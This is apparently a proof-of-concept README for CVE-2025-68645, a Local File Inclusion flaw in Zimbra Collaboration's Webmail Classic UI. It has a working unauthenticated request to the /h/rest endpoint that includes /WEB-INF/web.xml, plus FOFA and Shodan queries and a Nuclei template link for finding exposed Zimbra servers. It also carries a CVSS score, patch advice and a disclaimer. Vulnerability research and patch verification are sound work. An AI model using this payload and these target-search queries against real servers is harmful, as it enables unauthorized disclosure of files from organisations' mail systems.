
CVE-2025-68645 - A Local File Inclusion (LFI) vulnerability in the Webmail Classic UI of Zimbra Collaboration
A proof-of-concept exploiting a Local File Inclusion (LFI) vulnerability existing in the Webmail Classic UI of Zimbra Collaboration (ZCS) 10.0 and 10.1 because of improper handling of user-supplied request parameters in the RestFilter servlet.
The vulnerability exists due to improper input validation in the RestFilter servlet. An unauthenticated remote attacker can craft requests to the /h/rest endpoint to influence internal request dispatching, allowing inclusion of arbitrary files from the WebRoot directory.
http://127.0.0.1/h/rest?javax.servlet.include.servlet_path=/WEB-INF/web.xml
About Zimbra WebRoot directory : https://github.com/Zimbra/zm-web-client/tree/develop/WebRoot
Nuclei-Template:
https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-68645.yaml
FOFA:
((title="Zimbra Web Client Sign In") || (title="Zimbra 网络客户端登录"))
SHODAN:
http.title:"Zimbra Web Client Sign In"
An unauthenticated remote attackers can include arbitrary files from the WebRoot directory, potentially exposing sensitive information.
Vector 3.x CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H / Base Score 3.x 8.80 / Severity 3.x HIGH
Update to the latest version of Zimbra Collaboration.
Recommended Actions :
/h/resthttps://nvd.nist.gov/vuln/detail/CVE-2025-68645
https://wiki.zimbra.com/wiki/Security_Center
https://wiki.zimbra.com/wiki/Zimbra_Responsible_Disclosure_Policy
https://x.com/sirifu4k1/status/2006031417088639064
This tool is for authorized security testing only. Unauthorized access to computer systems is illegal.